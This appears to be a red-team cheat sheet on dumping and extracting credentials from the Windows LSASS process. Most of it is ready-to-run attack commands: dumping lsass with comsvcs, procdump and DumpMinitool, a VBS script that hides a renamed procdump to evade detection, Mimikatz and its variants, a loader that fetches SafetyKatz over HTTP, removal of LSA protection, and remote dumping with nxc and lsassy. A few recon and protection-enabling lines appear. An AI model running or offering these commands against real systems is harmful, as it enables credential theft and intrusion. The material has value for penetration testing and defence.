Resources

Cheat Sheet

Commands

  • Recon
    • DeviceGuard
      Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
       
      (Get-ComputerInfo).DeviceGuardSecurityServicesRunning
    • LSA
      • Recon
        Get-WinEvent -LogName System | Where-Object { $_.ID -eq 12 -and $_.ProviderName -eq "Microsoft-Windows-Wininit" } | Select-Object -First 1 | Format-List Message, TimeCreated
         
        OR
         
        Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
      • Enable
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 1 /f # Enable LSA protection 
        • Before
        • After
    • Process ID
      tasklist /fi "imagename eq lsass.exe"
  • Dumping
    • Windows
      • GUI
        • TaskManager (C:\Users\fady\AppData\Local\Temp\lsass.DMP)
        • Process Explorer
      • CLI
        • LOLs
          • Recon (Builtin)
            Get-ChildItem -Path "C:\Program Files\", "C:\Program Files (x86)\" -Include *adplus.exe*, *createdump.exe*, *dump64.exe*, *DumpMinitool.exe*,*Sqldumper.exe* -Recurse -ErrorAction SilentlyContinue | Select-Object FullName
          • rundll over comsvcs (Admin)
            Get-Process lsass
            OR
            tasklist /svc
             
            rundll32 C:\windows\system32\comsvcs.dll, MiniDump 740 C:\Users\fady\Desktop\lsass.dmp full 
          • Procdump
            procdump.exe -ma lsass.exe test.txt
            OR
            procdump.exe -ma 724 test.txt
            • Evasive
              • Running From script
                ' --- Save as go.vbs ---
                Set objShell = CreateObject("WScript.Shell")
                 
                ' Find lsass.exe PID automatically
                Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
                Set colProcess = objWMIService.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE Name = 'lsass.exe'")
                For Each objProcess in colProcess
                    lsassPID = objProcess.ProcessId
                Next
                 
                ' --- CONFIGURE YOUR PATHS HERE ---
                renamedProcDump = "C:\Users\kozo\Desktop\msxml6.exe"
                outputFile = "C:\Users\Public\documents.dat"
                 
                ' Build the command
                command = renamedProcDump & " -accepteula -ma " & lsassPID & " " & outputFile
                 
                ' Execute hidden (0 = hidden window, false = script continues immediately)
                objShell.Run command, 0, false
              • WMI
                wmic process call create "C:\Users\kozo\Desktop\msxml6.exe -accepteula -ma 724 C:\Users\Public\documents.dat"
          • rdrleakdiag (Seems Not working Anymore)
            Get-Process lsass
             
            rdrleakdiag.exe /p 744 /o C:\Users\matio\Desktop\ /fullmemdmp /sna
          • DumpMinitool
             
            Get-Process lsass
             
            & "C:\Program Files\dotnet\sdk\9.0.301\Extensions\dump\DumpMinitool.exe" --file C:\Users\matio\Desktop\lsass.dmp --processId 744 --dumpType Full
      • Mimikatz
        mimikatz # sekurlsa::logonpasswords # Attacks the LIVE LSA
      • pypykatz
        pypykatz.exe live lsa
      • sharpkatz
        SharpKatz.exe --command ekeys
      • Saftykatz
        # $null | netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=9999 connectaddress=192.168.56.115
        C:\Users\Public\Loader.exe -path [http://127.0.0.1:7777/SafetyKatz.exe](http://127.0.0.1:7777/SafetyKatz.exe) -args "sekurlsa::ekeys" "exit"
      • Invoke-MImikatz (BuiltIn extractor)
        Invoke-Mimikatz -command '"privilege::debug""sekurlsa::ekeys"'
      • Dumpert
        rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump
        OR
        Outflank-Dumpert.exe
      • Lsass_shtinkering
        New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" -Force | Out-Null; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" -Name "DumpType" -Value 2 -Type DWord
         
        .\LSASS_Shtinkering.exe
    • LSA Bypass
      • Mimikatz
        	mimikatz # !+    # The mimidrv.sys should be in the same dir 
        	mimikatz # !processprotect /process:lsass.exe /remove
        	mimikatz # privilege::debug
        	mimikatz # sekurlsa::logonpasswords
      • Reg keys
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 0 /f
    • Linux
      • nxc
        nxc rdp 10.129.20.143 -u htb-student -p 'HTB_@cademy_stdnt!' --lsa
      • lsassy
        lsassy -u fmoheb -p 'Password123#f' -d redteamrecipes.com 192.168.99.25 -v # Try all methods with ways 
        lsassy -u fmoheb -p 'Password123#f' -d redteamrecipes.com -m comsvcs_stealth -e smb 192.168.99.25 -v # specific method with way 
  • Extracting
    • pypykatz
      pypykatz lsa minidump lsass.dmp
    • Mimikatz
      mimikatz # sekurlsa::minidump lsass.dmp # Point to The lsass dump file to tell mimikatz not to attack the live sla 
      mimikatz # mimikatz # sekurlsa::logonpasswords

Tools

Notes

Later 2 Read